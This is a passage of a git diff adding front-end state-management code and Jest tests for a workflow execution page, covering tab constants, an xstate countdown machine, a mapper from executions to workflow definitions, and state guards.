=> execution, + } as any, + }); + const service = interpret(machine) + .onTransition((state) => { + if (state.matches("init")) { + service.stop(); + resolve({ currentTab: state.context.currentTab }); + } + }) + .start(); + service.send({ + type: ExecutionActionTypes.UPDATE_EXECUTION, + executionId: (execution as any).workflowId, + }); + }); +} + +describe("isAgentWorkflowExecution guard", () => { + it("is true when the workflow definition carries the AgentSpan stamp (agentDef/agent_sdk)", () => { + expect(isAgentWorkflowExecution({ execution: agentExecution } as any)).toBe( + true, + ); + }); + + it("is false for a plain, untagged workflow", () => { + expect(isAgentWorkflowExecution({ execution: plainExecution } as any)).toBe( + false, + ); + }); + + it("is false when there is no execution loaded yet", () => { + expect(isAgentWorkflowExecution({} as any)).toBe(false); + }); +}); + +describe("executionMachine default tab", () => { + // Regression test: initDiagram's `always` transition used to route the + // *state node* to "agentExecution" without updating context.currentTab + // (which LeftPanelTabs/Execution.tsx actually read), so agent executions + // silently rendered the Diagram tab instead of the debugger. + it("defaults to AGENT_EXECUTION_TAB — and keeps context.currentTab in sync — for an agent-classified execution", async () => { + const { currentTab } = await landOnInitWith(agentExecution); + expect(currentTab).toBe(ExecutionTabs.AGENT_EXECUTION_TAB); + }); + + it("defaults to DIAGRAM_TAB for a plain workflow execution", async () => { + const { currentTab } = await landOnInitWith(plainExecution); + expect(currentTab).toBe(ExecutionTabs.DIAGRAM_TAB); + }); +}); diff --git a/ui-next/src/pages/execution/state/constants.ts b/ui-next/src/pages/execution/state/constants.ts new file mode 100644 index 0000000..64ddebc --- /dev/null +++ b/ui-next/src/pages/execution/state/constants.ts @@ -0,0 +1,9 @@ +// Tabs +export const SUMMARY_TAB = 0; +export const INPUT_TAB = 1; +export const OUTPUT_TAB = 2; +export const LOGS_TAB = 3; +export const JSON_TAB = 4; +export const DEFINITION_TAB = 5; +// Base tab index for plugin-registered task execution panels (well above built-ins). +export const PLUGIN_PANEL_TAB_BASE = 100; diff --git a/ui-next/src/pages/execution/state/countdownActions.ts b/ui-next/src/pages/execution/state/countdownActions.ts new file mode 100644 index 0000000..931b6e3 --- /dev/null +++ b/ui-next/src/pages/execution/state/countdownActions.ts @@ -0,0 +1,39 @@ +import { assign, sendParent } from "xstate"; +import { + COUNT_DOWN_TYPE, + ExecutionActionTypes, + CountdownContext, + UpdateDurationEvent, +} from "./types"; + +export const updateCountdownDuration = assign< + CountdownContext, + UpdateDurationEvent +>({ + duration: (ctx: CountdownContext, event) => event?.duration || 30, +}); + +export const resetCountdownElapsed = assign({ + elapsed: 0, +}); + +export const updateCountdownType = (type: COUNT_DOWN_TYPE) => + assign({ + countdownType: type, + }); + +export const updateParentDuration = sendParent( + (_ctx: CountdownContext, event: any) => ({ + type: ExecutionActionTypes.UPDATE_DURATION, + duration: event?.duration, + countdownType: event?.countdownType, + }), +); + +export const updateParentIsDisabled = (isDisabled = false) => + sendParent((ctx: CountdownContext) => ({ + type: ExecutionActionTypes.UPDATE_DURATION, + duration: ctx?.duration, + countdownType: ctx?.countdownType, + isDisabled: isDisabled, + })); diff --git a/ui-next/src/pages/execution/state/countdownMachine.ts b/ui-next/src/pages/execution/state/countdownMachine.ts new file mode 100644 index 0000000..c7ba051 --- /dev/null +++ b/ui-next/src/pages/execution/state/countdownMachine.ts @@ -0,0 +1,135 @@ +import { assign, createMachine } from "xstate"; +import { COUNT_DOWN_TYPE } from "pages/execution/state/types"; +import { + updateParentIsDisabled, + resetCountdownElapsed, + updateCountdownDuration, + updateCountdownType, + updateParentDuration, +} from "pages/execution/state/countdownActions"; +import { + CountdownEventTypes, + CountdownContext, + CountdownEvents, +} from "./types"; + +const actions = { + resetCountdownElapsed, + updateCountdownDuration, + updateCountdownType, + updateParentDuration, + updateInfinityCountdownType: updateCountdownType(COUNT_DOWN_TYPE.INFINITE), + refreshImmediatelyWhileDisabled: updateParentIsDisabled(true), + enableCountdown: updateParentIsDisabled(false), +} as any; + +export const countdownMachine = createMachine< + CountdownContext, + CountdownEvents +>( + { + id: "countdownMachine", + context: { + duration: 30, + elapsed: 0, + executionStatus: "", + countdownType: COUNT_DOWN_TYPE.INFINITE, + isDisabled: false, + }, + initial: "running", + states: { + running: { + invoke: { + src: (_context) => (sp) => { + const interval = setInterval(() => { + sp(CountdownEventTypes.TICK); + }, 1000); + return () => { + clearInterval(interval); + }; + }, + }, + always: [ + { + target: "disabled", + cond: (ctx: CountdownContext) => !!ctx?.isDisabled, + }, + { + target: "finish", + cond: (ctx: CountdownContext) => ctx?.elapsed >= ctx?.duration, + }, + ], + on: { + [CountdownEventTypes.TICK]: { + actions: assign({ + elapsed: (ctx: any) => ctx.elapsed + 1, + }) as any, + }, + [CountdownEventTypes.DISABLE]: { + actions: ["resetCountdownElapsed"], + target: "disabled", + }, + [CountdownEventTypes.FORCE_FINISH]: { + actions: ["refreshImmediately"], + target: "finish", + }, + [CountdownEventTypes.UPDATE_DURATION]: { + actions: [ + "updateParentDuration", + "updateCountdownDuration", + "resetCountdownElapsed", + ], + }, + }, + }, + disabled: { + on: { + [CountdownEventTypes.ENABLE]: { + actions: [ + assign({ + isDisabled: false, + }) as any, + "enableCountdown", + ], + target: "running", + }, + [CountdownEventTypes.FORCE_FINISH]: { + actions: ["refreshImmediatelyWhileDisabled"], + target: "finish", + }, + }, + }, + idle: { + on: { + [CountdownEventTypes.UPDATE_DURATION]: { + actions: [ + "updateParentDuration", + "updateCountdownDuration", + "resetCountdownElapsed", + "updateInfinityCountdownType", + ], + target: "running", + }, + [CountdownEventTypes.ENABLE]: { + actions: ["updateInfinityCountdownType", "enableCountdown"], + target: "running", + }, + [CountdownEventTypes.DISABLE]: { + actions: ["updateInfinityCountdownType"], + target: "disabled", + }, + [CountdownEventTypes.FORCE_FINISH]: { + actions: ["refreshImmediately"], + target: "finish", + }, + }, + }, + finish: { + type: "final", + }, + }, + }, + { + actions, + }, +); diff --git a/ui-next/src/pages/execution/state/executionMapper.test.js b/ui-next/src/pages/execution/state/executionMapper.test.js new file mode 100644 index 0000000..359c947 --- /dev/null +++ b/ui-next/src/pages/execution/state/executionMapper.test.js @@ -0,0 +1,449 @@ +import { + executionTasksToStatusMap, + taskStatusUpdater, + relatedNamesToTaskDef, + executionToWorkflowDef, + doWhileSelectionForStatusMap, +} from "./executionMapper"; +import { + sampleExecution, + sampleExecutionWithForkJoin, + newDynamicForkSample, + sampleExecutionDoWhile, + sampleExecutionMultiDoWhile, + sampleStatusMap, + doWhileSelectionForStatusMapResultSingleDoWhile, + doWhileSelectionForStatusMapResultMultiDowhile, +} from "./sampleExecutions"; + +describe("executionToWorkflowDef", () => { + describe("executionTasksToStatusMap", () => { + it("Should build a map will all execution tasks and selected task", () => { + const sampleExecutedObject = { + ref: "get_weather_ref", + taskId: "5c61b913-5883-4725-8d39-0edd3029cbaf", + }; + const builtMap = executionTasksToStatusMap(sampleExecution.tasks); + expect(Object.keys(builtMap)).toEqual( + expect.arrayContaining(["get_IP_ref", "get_weather_ref"]), + ); + expect(builtMap[sampleExecutedObject.ref].taskId).toEqual( + sampleExecutedObject.taskId, + ); + }); + it("Should return an empty map when the execution has no tasks field", () => { + // Executions can come back without a `tasks` field; this used to throw + // "Cannot read properties of undefined (reading 'reduce')". + expect(() => executionTasksToStatusMap(undefined)).not.toThrow(); + expect(executionTasksToStatusMap(undefined)).toEqual({}); + }); + }); + describe("taskStatusUpdater", () => { + it("Should return tasks with an executionData object", () => { + const sampleMap = { + get_IP_ref: { status: "COMPLETED", executed: true, loopOver: [] }, + get_weather_ref: { status: "FAILED", executed: false, loopOver: [] }, + }; + const sampleExecutionTasks = sampleExecution.workflowDefinition.tasks; + const result = taskStatusUpdater(sampleExecutionTasks, sampleMap); + expect( + result.every(({ executionData }) => executionData != null), + ).toEqual(true); + }); + }); + describe("relatedNamesToTaskDef", () => { + it("Should return a map of forked tasks and its siblings", () => { + const taskNames = [ + "shipping_loop_subworkflow_ref_0", + "shipping_loop_subworkflow_ref_1", + ]; + const result = relatedNamesToTaskDef( + taskNames, + sampleExecutionWithForkJoin.tasks, + ); + expect(Object.keys(result)).toEqual(taskNames); + }); + }); + + describe("return collapsedTasksStatus array and collapsedTasksStatus", () => { + it("should return collapsedTasksStatus array", () => { + const sampleMap = { + dynamic_ref: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + inputData: { + forkedTaskDefs: [ + { + taskReferenceName: "image_convert_resize_png_300x300_0", + }, + { + taskReferenceName: "image_convert_resize_png_200x200_1", + }, + { + taskReferenceName: "fallsas", + }, + ], + }, + }, + fallsas: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_200x200_1: { + status: "CANCELED", + loopOver: [], + }, + image_convert_resize_png_300x300_0: { + status: "FAILED", + loopOver: [], + }, + join_task_ref: { + status: "CANCELED", + loopOver: [], + }, + }; + const sampleExecutionTasks = newDynamicForkSample.tasks; + const result = taskStatusUpdater(sampleExecutionTasks, sampleMap, []); + expect( + result[0].forkTasks[0][0].executionData.collapsedTasksStatus, + ).toEqual(["FAILED", "CANCELED", "COMPLETED"]); + }); + it("should return collapsedTasksStatus(card bundle) as FAILED", () => { + const sampleMap = { + dynamic_ref: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + inputData: { + forkedTaskDefs: [ + { + taskReferenceName: "image_convert_resize_png_300x300_0", + }, + { + taskReferenceName: "image_convert_resize_png_200x200_1", + }, + { + taskReferenceName: "fallsas", + }, + ], + }, + }, + fallsas: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_200x200_1: { + status: "CANCELED", + loopOver: [], + }, + image_convert_resize_png_300x300_0: { + status: "FAILED", + loopOver: [], + }, + }; + const sampleExecutionTasks = newDynamicForkSample.tasks; + const result = taskStatusUpdater(sampleExecutionTasks, sampleMap, []); + expect(result[0].forkTasks[0][0].executionData.status).toEqual("FAILED"); + }); + it("should return collapsedTasksStatus(card bundle) as COMPLETED", () => { + const sampleMap = { + dynamic_ref: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + inputData: { + forkedTaskDefs: [ + { + taskReferenceName: "image_convert_resize_png_300x300_0", + }, + { + taskReferenceName: "image_convert_resize_png_200x200_1", + }, + { + taskReferenceName: "fallsas", + }, + ], + }, + }, + fallsas: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_200x200_1: { + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_300x300_0: { + status: "COMPLETED", + loopOver: [], + }, + }; + const sampleExecutionTasks = newDynamicForkSample.tasks; + const result = taskStatusUpdater(sampleExecutionTasks, sampleMap, []); + expect(result[0].forkTasks[0][0].executionData.status).toEqual( + "COMPLETED", + ); + }); + it("should return collapsedTasksStatus(card bundle) as TIMED_OUT", () => { + const sampleMap = { + dynamic_ref: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + inputData: { + forkedTaskDefs: [ + { + taskReferenceName: "image_convert_resize_png_300x300_0", + }, + { + taskReferenceName: "image_convert_resize_png_200x200_1", + }, + { + taskReferenceName: "fallsas", + }, + ], + }, + }, + fallsas: { + taskType: "HTTP", + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_200x200_1: { + status: "COMPLETED", + loopOver: [], + }, + image_convert_resize_png_300x300_0: { + status: "TIMED_OUT", + loopOver: [], + }, + }; + const sampleExecutionTasks = newDynamicForkSample.tasks; + const result = taskStatusUpdater(sampleExecutionTasks, sampleMap, []); + expect(result[0].forkTasks[0][0].executionData.status).toEqual( + "TIMED_OUT", + ); + }); + }); + + describe("executionToWorkflowDef with doWhileSelection", () => { + it("Should build a map with given iteration - 4", () => { + const selectedIteration = 4; + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: selectedIteration, + }, + ]; + + const [_workflowDefinition, executionStatusMap] = executionToWorkflowDef( + sampleExecutionDoWhile, + [], + doWhileSelection, + ); + expect(Object.keys(executionStatusMap)).toEqual([ + "http_ref_first", + "do_while_ref", + "switch_ref", + "http_second_ref", + "http_ref_four_ref", + "http_last_ref", + ]); + expect(executionStatusMap["switch_ref"].iteration).toEqual( + selectedIteration, + ); + expect(executionStatusMap["http_second_ref"].iteration).toEqual( + selectedIteration, + ); + expect(executionStatusMap["http_ref_four_ref"].iteration).toEqual( + selectedIteration, + ); + }); + it("Should build a map with given iteration - 1", () => { + const selectedIteration = 1; + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: selectedIteration, + }, + ]; + + const [_workflowDefinition, executionStatusMap] = executionToWorkflowDef( + sampleExecutionDoWhile, + [], + doWhileSelection, + ); + expect(Object.keys(executionStatusMap)).toEqual([ + "http_ref_first", + "do_while_ref", + "switch_ref", + "http_third_ref", + "http_ref_cool", + "http_last_ref", + ]); + expect(executionStatusMap["switch_ref"].iteration).toEqual( + selectedIteration, + ); + expect(executionStatusMap["http_third_ref"].iteration).toEqual( + selectedIteration, + ); + expect(executionStatusMap["http_ref_cool"].iteration).toEqual( + selectedIteration, + ); + }); + it("Should build a map with muliti-dowhile given iteration 1,4", () => { + const selectedIterationForFirstDoWhile = 1; + const selectedIterationForSecondDoWhile = 4; + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: selectedIterationForFirstDoWhile, + }, + { + doWhileTaskReferenceName: "do_while_ref_1", + selectedIteration: selectedIterationForSecondDoWhile, + }, + ]; + + const [_workflowDefinition, executionStatusMap] = executionToWorkflowDef( + sampleExecutionMultiDoWhile, + [], + doWhileSelection, + ); + expect(Object.keys(executionStatusMap)).toEqual( + expect.arrayContaining([ + "do_while_ref", + "http_ref_five", + "http_last_ref", + "do_while_ref_1", + "http_new_dowhile_one_ref", + "http_ref_first", + "switch_ref", + "switch_ref_1", + ]), + ); + // for the first doWhile + expect(executionStatusMap["switch_ref"].iteration).toEqual( + selectedIterationForFirstDoWhile, + ); + expect(executionStatusMap["http_ref_five"].iteration).toEqual( + selectedIterationForFirstDoWhile, + ); + + // for the second doWhile + expect(executionStatusMap["switch_ref_1"].iteration).toEqual( + selectedIterationForSecondDoWhile, + ); + expect(executionStatusMap["http_new_dowhile_one_ref"].iteration).toEqual( + selectedIterationForSecondDoWhile, + ); + }); + }); + + describe("executionToWorkflowDef without doWhileSelection", () => { + it("Should build expected map", () => { + const [_workflowDefinition, executionStatusMap] = executionToWorkflowDef( + sampleExecutionDoWhile, + [], + ); + expect(Object.keys(executionStatusMap)).toEqual([ + "http_ref_first", + "do_while_ref", + "switch_ref", + "http_third_ref", + "http_ref_cool", + "http_second_ref", + "http_ref_four_ref", + "http_ref_five", + "http_last_ref", + ]); + }); + }); +}); + +describe("doWhileSelectionForStatusMap", () => { + it("function works normally, returning expected result - single DoWhile selected", () => { + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: 1, + }, + ]; + const result = doWhileSelectionForStatusMap( + doWhileSelection, + sampleStatusMap, + ); + expect(result).toEqual(doWhileSelectionForStatusMapResultSingleDoWhile); + }); + it("function works normally, returning expected result - multiple Dowhile selected", () => { + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: 1, + }, + { + doWhileTaskReferenceName: "do_while_ref_1", + selectedIteration: 6, + }, + ]; + const result = doWhileSelectionForStatusMap( + doWhileSelection, + sampleStatusMap, + ); + expect(result).toEqual(doWhileSelectionForStatusMapResultMultiDowhile); + }); + it("should handle missing referenced task gracefully (currentAssociatedTask is undefined)", () => { + const doWhileSelection = [ + { + doWhileTaskReferenceName: "do_while_ref", + selectedIteration: 1, + }, + ]; + // statusMap is missing a referenced task for this iteration + const minimalStatusMap = { + do_while_ref: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { number: 10 }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1, + startTime: 1, + endTime: 2, + updateTime: 2, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "wf1", + workflowType: "test", + taskId: "tid1", + callbackAfterSeconds: 0, + outputData: { + 1: { + missing_ref: { some: "data" }, + }, + }, + loopOver: [], + }, + // Note: 'missing_ref' is not present in the statusMap + }; + const result = doWhileSelectionForStatusMap( + doWhileSelection, + minimalStatusMap, + ); + // Should include 'missing_ref' with undefined or empty values, but not throw + expect(result).toHaveProperty("missing_ref"); + expect(result.missing_ref).toBeDefined(); + // Should be an object, but all values undefined except loopOver/parentLoop + expect(result.missing_ref.loopOver).toBeUndefined(); + }); +}); diff --git a/ui-next/src/pages/execution/state/executionMapper.ts b/ui-next/src/pages/execution/state/executionMapper.ts new file mode 100644 index 0000000..746bd29 --- /dev/null +++ b/ui-next/src/pages/execution/state/executionMapper.ts @@ -0,0 +1,442 @@ +import { MAX_EXPAND_TASKS } from "components/features/flow/nodes/constants"; +import _curry from "lodash/curry"; +import _findLast from "lodash/findLast"; +import _first from "lodash/first"; +import _path from "lodash/fp/path"; +import _identity from "lodash/identity"; +import _mapValues from "lodash/mapValues"; +import _nth from "lodash/nth"; +import _omit from "lodash/omit"; +import _pick from "lodash/pick"; +import _xor from "lodash/xor"; +import { + DoWhileSelection, + ExecutedData, + Execution, + ExecutionTask, + TaskDef, + TaskStatus, + TaskType, +} from "types"; +import { + DynamicForkRelations, + StatusMap, + TypeStatusMap, +} from "./StatusMapTypes"; +import { TaskDefExecutionContext, WorkflowDefExecutionContext } from "./types"; + +export const relatedNamesToTaskDef = ( + names: string[], + executionTasks: ExecutionTask[], + parentTaskReferenceName: string, +) => { + const relationTasks = names.map((tn) => + executionTasks.find((t) => t.workflowTask.taskReferenceName === tn), + ); + const taskWithSiblings = names.reduce( + (tnAcc, tn) => ({ + ...tnAcc, + [tn]: { + siblings: relationTasks, + parentTaskReferenceName, + }, + }), + {}, + ); + return taskWithSiblings; +}; + +type StatusMapTupleAcumulator = [ + StatusMap, + Record, +]; +export const executionTasksToStatusMap = ( + // Executions can come back without a `tasks` field (e.g. a workflow that has + // not started running any tasks yet); treat that as an empty list. + executionTasks: ExecutionTask[] = [], +) => { + const [statusMap] = executionTasks.reduce( + ( + [acc, related]: StatusMapTupleAcumulator, + task: ExecutionTask, + idx: number, + ): StatusMapTupleAcumulator => { + const loopOver = acc[task.workflowTask.taskReferenceName]?.loopOver || []; + let newRelated = related; + if (task.workflowTask.type === TaskType.FORK_JOIN_DYNAMIC) { + newRelated = { + ...related, + ...relatedNamesToTaskDef( + task.inputData?.forkedTasks || [], + executionTasks, + task.workflowTask.taskReferenceName, + ), + }; + } + + const targetSlice = executionTasks?.slice(0, idx); + + return [ + { + ...acc, + [task.workflowTask.taskReferenceName]: { + ...task, + loopOver: loopOver.concat(task), + related: related[task.workflowTask.taskReferenceName], + parentLoop: task.loopOverTask + ? _findLast(targetSlice, (t) => t.taskType === TaskType.DO_WHILE) + : undefined, + }, + } as Record, + newRelated, + ]; + }, + [{}, {}], + ); + return statusMap; +}; + +const extractFirstTaskReferenceName = (tasks: TaskDef[]) => { + const firstTask = _first(tasks); + return firstTask == null ? "no_task" : firstTask.taskReferenceName; +}; + +const entireCollapsedStatus = ( + executionTask: TypeStatusMap, + firstTaskExecutionDataRaw: Pick< + TypeStatusMap, + "status" | "executed" | "loopOver" + >, + statusMap: StatusMap, + returnStatusArray = false, +) => { + const forkedTaskDefs: TaskDef[] = + _path("inputData.forkedTaskDefs", executionTask) ?? []; + const collapsedTaskRefNames = forkedTaskDefs + ? forkedTaskDefs.map((item) => item.taskReferenceName) + : []; + const collapsedTasksStatus = + collapsedTaskRefNames.map((item) => statusMap[item]?.status) ?? []; + if (returnStatusArray) { + return collapsedTasksStatus; + } + if (collapsedTasksStatus.includes(TaskStatus.FAILED)) { + return TaskStatus.FAILED; + } else if (collapsedTasksStatus.includes(TaskStatus.TIMED_OUT)) { + return TaskStatus.TIMED_OUT; + } else if (collapsedTasksStatus.includes(TaskStatus.SKIPPED)) { + return TaskStatus.SKIPPED; + } else if (collapsedTasksStatus.includes(TaskStatus.CANCELED)) { + return TaskStatus.CANCELED; + } else { + return firstTaskExecutionDataRaw.status; + } +}; + +export const taskStatusUpdater = ( + tasks: TaskDef[] = [], + statusMap: StatusMap, + expandDynamic: string[], +): TaskDefExecutionContext[] => { + return tasks.map((task) => { + const { type, taskReferenceName } = task; + const executionTask = statusMap[taskReferenceName]; + + const executionDataRaw = _pick( + executionTask || { + status: TaskStatus.PENDING, + executed: false, + loopOver: [], + }, + ["status", "executed", "loopOver"], + ); + const executionData: ExecutedData = { + status: executionDataRaw.status as TaskStatus, + executed: executionDataRaw.executed, + attempts: executionDataRaw.loopOver.length, + outputData: executionTask?.outputData, + parentLoop: executionTask?.parentLoop, + }; + + if (type === TaskType.FORK_JOIN) { + const forkTasks: Array = ( + task.forkTasks || [] + ).map((taa) => taskStatusUpdater(taa, statusMap, expandDynamic)); + return { + ...task, + forkTasks, + executionData, + } as TaskDefExecutionContext; + } else if (type === TaskType.DECISION || type === TaskType.SWITCH) { + const decisionCases: Record = + _mapValues(task.decisionCases, (decisionTasks: TaskDef[]) => + taskStatusUpdater(decisionTasks, statusMap, expandDynamic), + ); + return { + ...task, + decisionCases, + defaultCase: taskStatusUpdater( + task.defaultCase!, + statusMap, + expandDynamic, + ), + executionData, + } as TaskDefExecutionContext; + } else if (type === TaskType.DO_WHILE) { + return { + ...task, + loopOver: taskStatusUpdater(task.loopOver!, statusMap, expandDynamic), + executionData, + } as TaskDefExecutionContext; + } else if ( + type === TaskType.FORK_JOIN_DYNAMIC && + executionData.status !== TaskStatus.PENDING + ) { + const doesNotRequireCollapse = + (executionTask!.inputData?.forkedTaskDefs || []).length < + MAX_EXPAND_TASKS; + + if (expandDynamic.includes(taskReferenceName) || doesNotRequireCollapse) { + const forkTasks: Array = taskStatusUpdater( + executionTask!.inputData!.forkedTaskDefs, + statusMap, + expandDynamic, + ).map((t: TaskDefExecutionContext) => [t]); + return { + ...task, + forkTasks, + joinOn: executionTask?.inputData?.forkedTasks, + executionData: { + ...executionData, + ...(doesNotRequireCollapse ? {} : { collapsed: false }), + }, + } as TaskDefExecutionContext; + } + + const firstTaskReferenceName = extractFirstTaskReferenceName( + executionTask!.inputData!.forkedTaskDefs, + ); + + const firstTaskExecutionDataRaw = _pick( + statusMap[firstTaskReferenceName] || { + status: TaskStatus.PENDING, + executed: false, + }, + ["status", "executed", "loopOver"], + ); + + const firstTaskExecutionData = { + status: entireCollapsedStatus( + executionTask, + firstTaskExecutionDataRaw, + statusMap, + ), + executed: firstTaskExecutionDataRaw?.executed, + attempts: firstTaskExecutionDataRaw?.loopOver?.length, + }; + return { + ...task, + forkTasks: [ + [ + { + type: "FORK_JOIN_COLLAPSED" as TaskType, + taskReferenceName: firstTaskReferenceName, + executionData: { + ...firstTaskExecutionData, + collapsedTasks: executionTask?.inputData?.forkedTaskDefs, + parentTaskReferenceName: task.taskReferenceName, + collapsedTasksStatus: entireCollapsedStatus( + executionTask, + firstTaskExecutionDataRaw, + statusMap, + true, + ), + }, + }, + ], + ], + executionData: { + ...executionData, + collapsed: true, + }, + } as TaskDefExecutionContext; + } else if (type === TaskType.SIMPLE) { + return { + ...task, + executionData: { + ...executionData, + domain: executionTask?.domain, + }, + } as TaskDefExecutionContext; + } else if (type === TaskType.TASK_SUMMARY) { + return { + ...task, + executionData: { + ...executionData, + summary: executionTask?.outputData?.summary, + }, + } as TaskDefExecutionContext; + } + return { + ...task, + executionData, + } as TaskDefExecutionContext; + }); +}; + +const getTasksOfCurrentIteration = ( + selectedIteration: number, + selectedDowhileRef?: string, + statusMap: StatusMap = {}, +) => { + let result = []; + for (const key in statusMap) { + if ( + Object.prototype.hasOwnProperty.call(statusMap, key) && + statusMap[key]["iteration"] === selectedIteration + ) { + result.push({ taskRefName: key, taskType: statusMap[key].taskType }); + } + } + if (selectedDowhileRef) { + result = result.filter((item) => item.taskType !== TaskType.DO_WHILE); + } + return result?.map((item) => item.taskRefName); +}; + +export const doWhileSelectionForStatusMap = ( + doWhileSelection?: DoWhileSelection[], + statusMap?: StatusMap, +) => { + const [keysToOmmit, finalMapArray] = doWhileSelection + ? doWhileSelection.reduce< + [keysToOmmit: string[], finalMapArray: Omit[]] + >( + (acc, item) => { + const doWhileTask = statusMap![item?.doWhileTaskReferenceName]; + + const { outputData } = doWhileTask; + const taskReferencesForIteration = Object.keys( + _path(item?.selectedIteration, outputData) || {}, + ); + + const allReferences = Array.from( + new Set( + Object.values(outputData ?? {}).flatMap((obj) => + Object.keys(obj ?? {}), + ), + ), + ); + + // if tasksReferencesForIteration is there, use it. if not, we have get the tasks of currentIteration from the statusMap using getTasksOfCurrentIteration() + const updatedTaskReferenceForIteration = + taskReferencesForIteration && taskReferencesForIteration.length > 0 + ? taskReferencesForIteration + : getTasksOfCurrentIteration( + item?.selectedIteration, + item?.doWhileTaskReferenceName, + statusMap, + ); + + const updatedStatusMap = updatedTaskReferenceForIteration.reduce( + (acc: any, taskReferenceName: string) => { + const currentAssociatedTask = statusMap![taskReferenceName]; + + const loopOverForAssociatedTask = currentAssociatedTask?.loopOver; + const maybeParentLoop = currentAssociatedTask?.parentLoop; + const taskForIterationNumber = loopOverForAssociatedTask?.find( + (task: Partial) => + task.iteration === item?.selectedIteration, + ); + + return { + ...acc, + [taskReferenceName]: { + ...taskForIterationNumber, + loopOver: loopOverForAssociatedTask, + parentLoop: maybeParentLoop, + }, + }; + }, + {}, + ); + const keysToRemove = _xor( + updatedTaskReferenceForIteration, + allReferences, + ); + const latestMap = _omit(updatedStatusMap, keysToRemove); + + return [ + [...acc[0], ...keysToRemove], + [...acc[1], latestMap], + ]; + }, + + [[], []], + ) + : [[], []]; + const latestMap = _omit(statusMap, keysToOmmit); + // Spreads finalMap as arguments to the Object.assign call + return Object.assign({}, latestMap, ...(finalMapArray ?? [])); +}; + +const updateStatusMapWithLatestRetryCount = ( + statusMap: StatusMap, + selectedTask: ExecutionTask, +) => { + const { retryCount, referenceTaskName } = selectedTask; + const currentTaskLoopOverFromMap = + statusMap[referenceTaskName]?.loopOver ?? []; + + const currentTaskWithUpdatedRetryCount = + _nth( + currentTaskLoopOverFromMap?.filter( + (item) => item.retryCount === retryCount, + ), + 0, + ) ?? {}; + + const updatedStatusMap = { + ...statusMap, + [referenceTaskName]: { + ...currentTaskWithUpdatedRetryCount, + loopOver: currentTaskLoopOverFromMap, + }, + }; + return updatedStatusMap; +}; + +export const executionToWorkflowDef = ( + execution: Execution, + expandDynamic = [], + doWhileSelection?: DoWhileSelection[], + selectedTask?: ExecutionTask, +): [WorkflowDefExecutionContext, StatusMap] => { + const doWhileModifier = + doWhileSelection == null + ? _identity + : _curry(doWhileSelectionForStatusMap)(doWhileSelection); + + const basicExecutionMap = executionTasksToStatusMap(execution.tasks); + + const updatedExecutionMapWithLatestRetryCount = + selectedTask && selectedTask?.taskType === TaskType.DO_WHILE + ? updateStatusMapWithLatestRetryCount(basicExecutionMap, selectedTask) + : basicExecutionMap; + + const taskExecutionMap = doWhileModifier( + updatedExecutionMapWithLatestRetryCount, + ); + + return [ + { + ...execution.workflowDefinition, + tasks: taskStatusUpdater( + execution.workflowDefinition.tasks, + taskExecutionMap, + expandDynamic, + ), + }, + taskExecutionMap, + ]; +}; diff --git a/ui-next/src/pages/execution/state/guards.ts b/ui-next/src/pages/execution/state/guards.ts new file mode 100644 index 0000000..95cc04f --- /dev/null +++ b/ui-next/src/pages/execution/state/guards.ts @@ -0,0 +1,70 @@ +import isNil from "lodash/isNil"; +import { + COUNT_DOWN_TYPE, + ExecutionMachineContext, + ExecutionTabs, +} from "./types"; +import { HttpStatusCode } from "utils/constants/httpStatusCode"; +import { DoneInvokeEvent } from "xstate"; +import { isAgentWorkflowExecution as isAgentWorkflowExecutionHelper } from "../helpers"; + +const WOKFLOW_TERMINATED_STATUS = [ + "COMPLETED", + "FAILED", + "TIMED_OUT", + "TERMINATED", +]; + +export const canWorkflowChangeState = (context: ExecutionMachineContext) => + !WOKFLOW_TERMINATED_STATUS.includes(context?.execution?.status || "") && + !isNil(context.execution); + +export const isExecutionTerminated = (context: ExecutionMachineContext) => + context?.execution?.status === "TERMINATED"; +export const isExecutionCompleted = (context: ExecutionMachineContext) => + context?.execution?.status === "COMPLETED"; +export const isExecutionFailed = (context: ExecutionMachineContext) => + context?.execution?.status === "FAILED"; +export const isExecutionTimedOut = (context: ExecutionMachineContext) => + context?.execution?.status === "TIMED_OUT"; +export const isExecutionPaused = (context: ExecutionMachineContext) => + context?.execution?.status === "PAUSED"; + +export const isTaskListTab = ({ currentTab }: ExecutionMachineContext) => + currentTab === ExecutionTabs.TASK_LIST_TAB; + +export const isAgentExecutionTab = ({ currentTab }: ExecutionMachineContext) => + currentTab === ExecutionTabs.AGENT_EXECUTION_TAB; + +/** + * Gate for the "Agent Execution" debugger tab — only agent-classified + * executions (AgentSpan-compiled workflows) get the tab/default-tab treatment; + * regular workflows keep Diagram as the default view. + */ +export const isAgentWorkflowExecution = (context: ExecutionMachineContext) => + isAgentWorkflowExecutionHelper(context?.execution); + +export const isTimeLineTab = ({ currentTab }: ExecutionMachineContext) => + currentTab === ExecutionTabs.TIMELINE_TAB; + +export const isTimeWorkflowInputOutputTab = ({ + currentTab, +}: ExecutionMachineContext) => + currentTab === ExecutionTabs.WORKFLOW_INPUT_OUTPUT_TAB; + +export const isJsonTab = ({ currentTab }: ExecutionMachineContext) => + currentTab === ExecutionTabs.JSON_TAB; + +export const isSummaryTab = ({ currentTab }: ExecutionMachineContext) => + currentTab === ExecutionTabs.SUMMARY_TAB; + +export const isInfinityCountdown = (context: ExecutionMachineContext) => + context?.countdownType === 